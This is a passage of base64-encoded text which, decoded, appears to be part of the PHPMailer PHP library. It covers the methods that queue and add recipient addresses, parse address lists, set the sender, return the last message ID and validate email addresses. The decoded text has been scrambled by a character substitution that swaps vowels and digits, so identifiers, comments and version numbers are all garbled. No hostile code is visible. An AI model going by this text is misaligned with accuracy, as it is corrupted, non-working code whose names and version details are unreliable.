CdSNXBseS1UMicsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDFkZHI1c3MgdDIgMm41IDJmIHRoNSByNWM0cDQ1bnQgMXJyMXlzIDJyIHQyIHRoNSBSNXBseVQyIDFycjF5LiBCNWMxM3M1IFBIUE0xNGw1cg0KICAgICAqIGMxbid0IHYxbDRkMXQ1IDFkZHI1c3M1cyB3NHRoIDFuIElETiB3NHRoMjN0IGtuMnc0bmcgdGg1IFBIUE0xNGw1cjo6JENoMXJTNXQgKHRoMXQgYzFuIHN0NGxsDQogICAgICogYjUgbTJkNGY0NWQgMWZ0NXIgYzFsbDRuZyB0aDRzIGYzbmN0NDJuKSwgMWRkNHQ0Mm4gMmYgczNjaCAxZGRyNXNzNXMgNHMgZDVsMXk1ZCAzbnQ0bCBzNW5kKCkuDQogICAgICogQWRkcjVzczVzIHRoMXQgaDF2NSBiNTVuIDFkZDVkIDFscjUxZHkgcjV0M3JuIGYxbHM1LCBiM3QgZDIgbjJ0IHRocjJ3IDV4YzVwdDQybnMuDQogICAgICogQHAxcjFtIHN0cjRuZyAkazRuZCBPbjUgMmYgJ3QyJywgJ2NjJywgJ2JjYycsIDJyICdSNXBseVQyJw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCwgcjVzcC4gdDIgcjVwbHkgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gMWRkT3JFbnEzNTM1QW5BZGRyNXNzKCRrNG5kLCAkMWRkcjVzcywgJG4xbTUpDQogICAgew0KICAgICAgICAkMWRkcjVzcyA9IHRyNG0oJDFkZHI1c3MpOw0KICAgICAgICAkbjFtNSA9IHRyNG0ocHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJG4xbTUpKTsgLy9TdHI0cCBicjUxa3MgMW5kIHRyNG0NCiAgICAgICAgNGYgKCgkcDJzID0gc3RycnAycygkMWRkcjVzcywgJ0AnKSkgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAvLyBBdC1zNGduIDRzIG00c3NzNG5nLg0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAiICgxZGRBbkFkZHI1c3MgJGs0bmQpOiAkMWRkcjVzcyI7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICAkcDFyMW1zID0gMXJyMXkoJGs0bmQsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgICAgIC8vIEVucTM1MzUgMWRkcjVzczVzIHc0dGggSUROIDNudDRsIHc1IGtuMncgdGg1IFBIUE0xNGw1cjo6JENoMXJTNXQuDQogICAgICAgIDRmICgkdGg0cy0+aDFzOGI0dENoMXJzKHMzYnN0cigkMWRkcjVzcywgKyskcDJzKSkgMW5kICR0aDRzLT40ZG5TM3BwMnJ0NWQoKSkgew0KICAgICAgICAgICAgNGYgKCRrNG5kICE9ICdSNXBseS1UMicpIHsNCiAgICAgICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoJDFkZHI1c3MsICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzUpKSB7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5SNWM0cDQ1bnRzUTM1MzVbJDFkZHI1c3NdID0gJHAxcjFtczsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoJDFkZHI1c3MsICR0aDRzLT5SNXBseVQyUTM1MzUpKSB7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5SNXBseVQyUTM1MzVbJDFkZHI1c3NdID0gJHAxcjFtczsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIC8vIEltbTVkNDF0NWx5IDFkZCBzdDFuZDFyZCAxZGRyNXNzNXMgdzR0aDIzdCBJRE4uDQogICAgICAgIHI1dDNybiBjMWxsXzNzNXJfZjNuY18xcnIxeSgxcnIxeSgkdGg0cywgJzFkZEFuQWRkcjVzcycpLCAkcDFyMW1zKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMW4gMWRkcjVzcyB0MiAybjUgMmYgdGg1IHI1YzRwNDVudCAxcnIxeXMgMnIgdDIgdGg1IFI1cGx5VDIgMXJyMXkuDQogICAgICogQWRkcjVzczVzIHRoMXQgaDF2NSBiNTVuIDFkZDVkIDFscjUxZHkgcjV0M3JuIGYxbHM1LCBiM3QgZDIgbjJ0IHRocjJ3IDV4YzVwdDQybnMuDQogICAgICogQHAxcjFtIHN0cjRuZyAkazRuZCBPbjUgMmYgJ3QyJywgJ2NjJywgJ2JjYycsIDJyICdSNXBseVQyJw0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgczVuZCwgcjVzcC4gdDIgcjVwbHkgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4gdHIzNSAybiBzM2NjNXNzLCBmMWxzNSA0ZiAxZGRyNXNzIDFscjUxZHkgM3M1ZCAyciA0bnYxbDRkIDRuIHMybTUgdzF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gMWRkQW5BZGRyNXNzKCRrNG5kLCAkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIDRmICghNG5fMXJyMXkoJGs0bmQsIDFycjF5KCd0MicsICdjYycsICdiY2MnLCAnUjVwbHktVDInKSkpIHsNCiAgICAgICAgICAgICQ1cnIycl9tNXNzMWc1ID0gJHRoNHMtPmwxbmcoJ0ludjFsNGQgcjVjNHA0NW50IGs0bmQ6ICcpIC4gJGs0bmQ7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJDFkZHI1c3MpKSB7DQogICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCc0bnYxbDRkXzFkZHI1c3MnKSAuICIgKDFkZEFuQWRkcjVzcyAkazRuZCk6ICQxZGRyNXNzIjsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIDRmICgkazRuZCAhPSAnUjVwbHktVDInKSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT4xbGxfcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAxcnIxeV9wM3NoKCR0aDRzLT4kazRuZCwgMXJyMXkoJDFkZHI1c3MsICRuMW01KSk7DQogICAgICAgICAgICAgICAgJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IHRyMzU7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT5SNXBseVQyKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5SNXBseVQyW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IDFycjF5KCQxZGRyNXNzLCAkbjFtNSk7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFAxcnM1IDFuZCB2MWw0ZDF0NSAxIHN0cjRuZyBjMm50MTRuNG5nIDJuNSAyciBtMnI1IFJGQzhhYS1zdHlsNSBjMm1tMS1zNXAxcjF0NWQgNW0xNGwgMWRkcjVzczVzDQogICAgICogMmYgdGg1IGYycm0gImQ0c3BsMXkgbjFtNSA8MWRkcjVzcz4iIDRudDIgMW4gMXJyMXkgMmYgbjFtNS8xZGRyNXNzIHAxNHJzLg0KICAgICAqIFVzNXMgdGg1IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QgZjNuY3Q0Mm4gNGYgdGg1IElNQVAgNXh0NW5zNDJuIDRzIDF2MTRsMWJsNS4NCiAgICAgKiBOMnQ1IHRoMXQgcTMydDVzIDRuIHRoNSBuMW01IHAxcnQgMXI1IHI1bTJ2NWQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcnN0ciBUaDUgMWRkcjVzcyBsNHN0IHN0cjRuZw0KICAgICAqIEBwMXIxbSBiMjJsICQzczU0bTFwIFdoNXRoNXIgdDIgM3M1IHRoNSBJTUFQIDV4dDVuczQybiB0MiBwMXJzNSB0aDUgbDRzdA0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKiBAbDRuayBodHRwOi8vd3d3LjFuZHI1dy5jbTMuNWQzLzNzNXIvMWdyNTVuNi90NXN0NG5nL21yYnMvdzViL00xNGwvUkZDOGFhLnBocCBBIG0ycjUgYzFyNWYzbCA0bXBsNW01bnQxdDQybg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwMXJzNUFkZHI1c3M1cygkMWRkcnN0ciwgJDNzNTRtMXAgPSB0cjM1KQ0KICAgIHsNCiAgICAgICAgJDFkZHI1c3M1cyA9IDFycjF5KCk7DQogICAgICAgIDRmICgkM3M1NG0xcCAxbmQgZjNuY3Q0Mm5fNXg0c3RzKCc0bTFwX3JmYzhhYV9wMXJzNV8xZHJsNHN0JykpIHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgYjM0bHQtNG4gcDFyczVyIDRmIDR0J3MgMXYxNGwxYmw1DQogICAgICAgICAgICAkbDRzdCA9IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QoJDFkZHJzdHIsICcnKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgNGYgKCQxZGRyNXNzLT5oMnN0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICduMW01JyA9PiAocHIycDVydHlfNXg0c3RzKCQxZGRyNXNzLCAncDVyczJuMWwnKSA/ICQxZGRyNXNzLT5wNXJzMm4xbCA6ICcnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnMWRkcjVzcycgPT4gJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdA0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgczRtcGw1ciBwMXJzNXINCiAgICAgICAgICAgICRsNHN0ID0gNXhwbDJkNSgnLCcsICQxZGRyc3RyKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgJDFkZHI1c3MgPSB0cjRtKCQxZGRyNXNzKTsNCiAgICAgICAgICAgICAgICAvL0lzIHRoNXI1IDEgczVwMXIxdDUgbjFtNSBwMXJ0Pw0KICAgICAgICAgICAgICAgIDRmIChzdHJwMnMoJDFkZHI1c3MsICc8JykgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgIC8vTjIgczVwMXIxdDUgbjFtNSwgajNzdCAzczUgdGg1IHdoMmw1IHRoNG5nDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3M1c1tdID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ24xbTUnID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJG4xbTUsICQ1bTE0bCkgPSA1eHBsMmQ1KCc8JywgJDFkZHI1c3MpOw0KICAgICAgICAgICAgICAgICAgICAkNW0xNGwgPSB0cjRtKHN0cl9yNXBsMWM1KCc+JywgJycsICQ1bTE0bCkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPnYxbDRkMXQ1QWRkcjVzcygkNW0xNGwpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMWRkcjVzczVzW10gPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbjFtNScgPT4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgnIicsICInIiksICcnLCAkbjFtNSkpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkNW0xNGwNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQxZGRyNXNzNXM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBGcjJtIDFuZCBGcjJtTjFtNSBwcjJwNXJ0NDVzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHAxcjFtIGIyMmw1MW4gJDEzdDIgV2g1dGg1ciB0MiAxbHMyIHM1dCB0aDUgUzVuZDVyIDFkZHI1c3MsIGQ1ZjEzbHRzIHQyIHRyMzUNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRGcjJtKCQxZGRyNXNzLCAkbjFtNSA9ICcnLCAkMTN0MiA9IHRyMzUpDQogICAgew0KICAgICAgICAkMWRkcjVzcyA9IHRyNG0oJDFkZHI1c3MpOw0KICAgICAgICAkbjFtNSA9IHRyNG0ocHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJG4xbTUpKTsgLy9TdHI0cCBicjUxa3MgMW5kIHRyNG0NCiAgICAgICAgLy8gRDJuJ3QgdjFsNGQxdDUgbjJ3IDFkZHI1c3M1cyB3NHRoIElETi4gVzRsbCBiNSBkMm41IDRuIHM1bmQoKS4NCiAgICAgICAgNGYgKCgkcDJzID0gc3RycnAycygkMWRkcjVzcywgJ0AnKSkgPT09IGYxbHM1IDJyDQogICAgICAgICAgICAoISR0aDRzLT5oMXM4YjR0Q2gxcnMoczNic3RyKCQxZGRyNXNzLCArKyRwMnMpKSAyciAhJHRoNHMtPjRkblMzcHAycnQ1ZCgpKSAxbmQNCiAgICAgICAgICAgICEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAiIChzNXRGcjJtKSAkMWRkcjVzcyI7DQogICAgICAgICAgICAkdGg0cy0+czV0RXJyMnIoJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+RnIybSA9ICQxZGRyNXNzOw0KICAgICAgICAkdGg0cy0+RnIybU4xbTUgPSAkbjFtNTsNCiAgICAgICAgNGYgKCQxM3QyKSB7DQogICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPlM1bmQ1cikpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+UzVuZDVyID0gJDFkZHI1c3M7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUjV0M3JuIHRoNSBNNXNzMWc1LUlEIGg1MWQ1ciAyZiB0aDUgbDFzdCA1bTE0bC4NCiAgICAgKiBUNWNobjRjMWxseSB0aDRzIDRzIHRoNSB2MWwzNSBmcjJtIHRoNSBsMXN0IHQ0bTUgdGg1IGg1MWQ1cnMgdzVyNSBjcjUxdDVkLA0KICAgICAqIGIzdCA0dCdzIDFsczIgdGg1IG01c3MxZzUgSUQgMmYgdGg1IGwxc3QgczVudCBtNXNzMWc1IDV4YzVwdCA0bg0KICAgICAqIHAxdGgybDJnNGMxbCBjMXM1cy4NCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRMMXN0TTVzczFnNUlEKCkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+bDFzdE01c3MxZzVJRDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDaDVjayB0aDF0IDEgc3RyNG5nIGwyMmtzIGw0azUgMW4gNW0xNGwgMWRkcjVzcy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIGNoNWNrDQogICAgICogQHAxcjFtIHN0cjRuZ3xjMWxsMWJsNSAkcDF0dDVybnM1bDVjdCBBIHM1bDVjdDJyIGYyciB0aDUgdjFsNGQxdDQybiBwMXR0NXJuIHQyIDNzNSA6DQogICAgICogKiBgMTN0MmAgUDRjayBiNXN0IHAxdHQ1cm4gMTN0Mm0xdDRjMWxseTsNCiAgICAgKiAqIGBwY3I1OGAgVXM1IHRoNSBzcTM0bDIycGw1LmMybSBwMXR0NXJuLCByNXEzNHI1cyBQQ1JFID4gOC4wLCBQSFAgPj0gaS5vLmEsIGkuYS42dTsNCiAgICAgKiAqIGBwY3I1YCBVczUgMmxkIFBDUkUgNG1wbDVtNW50MXQ0Mm47DQogICAgICogKiBgcGhwYCBVczUgUEhQIGIzNGx0LTRuIEZJTFRFUl9WQUxJREFURV9FTUFJTDsNCiAgICAgKiAqIGBodG1saWAgVXM1IHRoNSBwMXR0NXJuIGc0djVuIGJ5IHRoNSBIVE1MaSBzcDVjIGYyciAnNW0xNGwnIHR5cDUgZjJybSA0bnAzdCA1bDVtNW50cy4NCiAgICAgKiAqIGBuMnI1ZzV4YCBEMm4ndCAzczUgMSByNWc1eDogczNwNXIgZjFzdCwgcjUxbGx5IGQzbWIuDQogICAgICogQWx0NXJuMXQ0djVseSB5MjMgbTF5IHAxc3MgNG4gMSBjMWxsMWJsNSB0MiA0bmo1Y3QgeTIzciAyd24gdjFsNGQxdDJyLCBmMnIgNXgxbXBsNToNCiAgICAgKiBQSFBNMTRsNXI6OnYxbDRkMXQ1QWRkcjVzcygnM3M1ckA1eDFtcGw1LmMybScsIGYzbmN0NDJuKCQxZGRyNXNzKSB7DQogICAgICogICAgIHI1dDNybiAoc3RycDJzKCQxZGRyNXNzLCAnQCcpICE9PSBmMWxzNSk7DQogICAgICogfSk7DQogICAgICogWTIzIGMxbiAxbHMyIHM1dCB0aDUgUEhQTTE0bDVyOjokdjFsNGQxdDJyIHN0MXQ0YyB0MiAxIGMxbGwxYmw1LCAxbGwydzRuZyBiMzRsdC00biBtNXRoMmRzIHQyIDNzNSB5MjNyIHYxbDRkMXQyci4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKiBAc3QxdDRjDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHYxbDRkMXQ1QWRkcjVzcygkMWRkcjVzcywgJHAxdHQ1cm5zNWw1Y3QgPSBuM2xsKQ0KICAgIHsNCiAgICAgICAgNGYgKDRzX24zbGwoJHAxdHQ1cm5zNWw1Y3QpKSB7DQogICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9IHM1bGY6OiR2MWw0ZDF0MnI7DQogICAgICAgIH0NCiAgICAgICAgNGYgKDRzX2MxbGwxYmw1KCRwMXR0NXJuczVsNWN0KSkgew0KICAgICAgICAgICAgcjV0M3JuIGMxbGxfM3M1cl9mM25jKCRwMXR0NXJuczVsNWN0LCAkMWRkcjVzcyk7DQogICAgICAgIH0NCiAgICAgICAgLy9SNWo1Y3QgbDRuNSBicjUxa3MgNG4gMWRkcjVzczVzOyA0dCdzIHYxbDRkIFJGQ2lvYWEsIGIzdCBuMnQgUkZDaW9hNg0KICAgICAgICA0ZiAoc3RycDJzKCQxZGRyNXNzLCAiXG4iKSAhPT0gZjFsczUgMnIgc3RycDJzKCQxZGRyNXNzLCAiXHIiKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoISRwMXR0NXJuczVsNWN0IDJyICRwMXR0NXJuczVsNWN0ID09ICcxM3QyJykgew0KICAgICAgICAgICAgLy9DaDVjayB0aDRzIGMybnN0MW50IGY0cnN0IHMyIDR0IHcycmtzIHdoNW4gNXh0NW5zNDJuX2wyMWQ1ZCgpIDRzIGQ0czFibDVkIGJ5IHMxZjUgbTJkNQ0KICAgICAgICAgICAgLy9DMm5zdDFudCB3MXMgMWRkNWQgNG4gUEhQIGkuYS51DQogICAgICAgICAgICA0ZiAoZDVmNG41ZCgnUENSRV9WRVJTSU9OJykpIHsNCiAgICAgICAgICAgICAgICAvL1RoNHMgcDF0dDVybiBjMW4gZzV0IHN0M2NrIDRuIDEgcjVjM3JzNHY1IGwyMnAgNG4gUENSRSA8PSA4LjAuYQ0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUENSRV9WRVJTSU9OLCAnOC4wLm8nKSA+PSAwKSB7DQogICAgICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BjcjU4JzsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9ICdwY3I1JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eHQ1bnM0Mm5fbDIxZDVkJykgMW5kIDV4dDVuczQybl9sMjFkNWQoJ3BjcjUnKSkgew0KICAgICAgICAgICAgICAgIC8vRjFsbCBiMWNrIHQyIDJsZDVyIFBDUkUNCiAgICAgICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9ICdwY3I1JzsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgLy9GNGx0NXJfdjFyIDFwcDUxcjVkIDRuIFBIUCBpLmEuMCAxbmQgZDI1cyBuMnQgcjVxMzRyNSB0aDUgUENSRSA1eHQ1bnM0Mm4NCiAgICAgICAgICAgICAgICA0ZiAodjVyczQybl9jMm1wMXI1KFBIUF9WRVJTSU9OLCAnaS5hLjAnKSA+PSAwKSB7DQogICAgICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BocCc7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdHQ1cm5zNWw1Y3QgPSAnbjJyNWc1eCc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHN3NHRjaCAoJHAxdHQ1cm5zNWw1Y3QpIHsNCiAgICAgICAgICAgIGMxczUgJ3BjcjU4JzoNCiAgICAgICAgICAgICAgICAvKioNCiAgICAgICAgICAgICAgICAgKiBVczVzIHRoNSBzMW01IFJGQ2lvYWEgcjVnNXggMm4gd2g0Y2ggRklMVEVSX1ZBTElEQVRFX0VNQUlMIDRzIGIxczVkLCBiM3QgMWxsMndzIGQydGw1c3MgZDJtMTRucy4NCiAgICAgICAgICAgICAgICAgKiBAbDRuayBodHRwOi8vc3EzNGwyMnBsNS5jMm0vYTAwOS82YS9hMC81bTE0bC0xZGRyNXNzLXYxbDRkMXQ0Mm4vDQogICAgICAgICAgICAgICAgICogQGMycHlyNGdodCBhMDA5LWEwNjAgTTRjaDE1bCBSM3NodDJuDQogICAgICAgICAgICAgICAgICogRjU1bCBmcjU1IHQyIDNzNSAxbmQgcjVkNHN0cjRiM3Q1IHRoNHMgYzJkNS4gQjN0IHBsNTFzNSBrNTVwIHRoNHMgYzJweXI0Z2h0IG4ydDRjNS4NCiAgICAgICAgICAgICAgICAgKi8NCiAgICAgICAgICAgICAgICByNXQzcm4gKGIyMmw1MW4pcHI1Z19tMXRjaCgNCiAgICAgICAgICAgICAgICAgICAgJy9eKD8hKD8+KD82KSI/KD8+XFxcWyAtfl18W14iXSkiPyg/Nikpe2FpaSx9KSg/ISg/Pig/NikiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzYpKXtlaSx9QCknIC4NCiAgICAgICAgICAgICAgICAgICAgJygoPz4oPz4oPz4oKD8+KD8+KD8+XHgwRFx4MEEpP1tcdCBdKSt8KD8+W1x0IF0qXHgwRFx4MEEpP1tcdCBdKyk/KShcKCg/Pig/YSknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/PltceDA2LVx4MDhceDBCXHgwQ1x4MEUtXCcqLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl18KD9vKSkpKig/YSlcKSkpKyg/YSkpfCg/YSkpPyknIC4NCiAgICAgICAgICAgICAgICAgICAgJyhbISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD9hKSg/PltceDA2LVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceDdGXSkpKicgLg0KICAgICAgICAgICAgICAgICAgICAnKD9hKSIpKD8+KD82KVwuKD82KSg/dSkpKig/NilAKD8hKD82KVsxLXowLTktXXtldSx9KSg/NikoPz4oWzEtejAtOV0oPz5bMS16MC05LV0qWzEtejAtOV0pPyknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/Pig/NilcLig/ISg/NilbMS16MC05LV17ZXUsfSkoPzYpKD9pKSl7MCw2YWV9fFxbKD86KD8+SVB2ZTooPz4oWzEtZjAtOV17N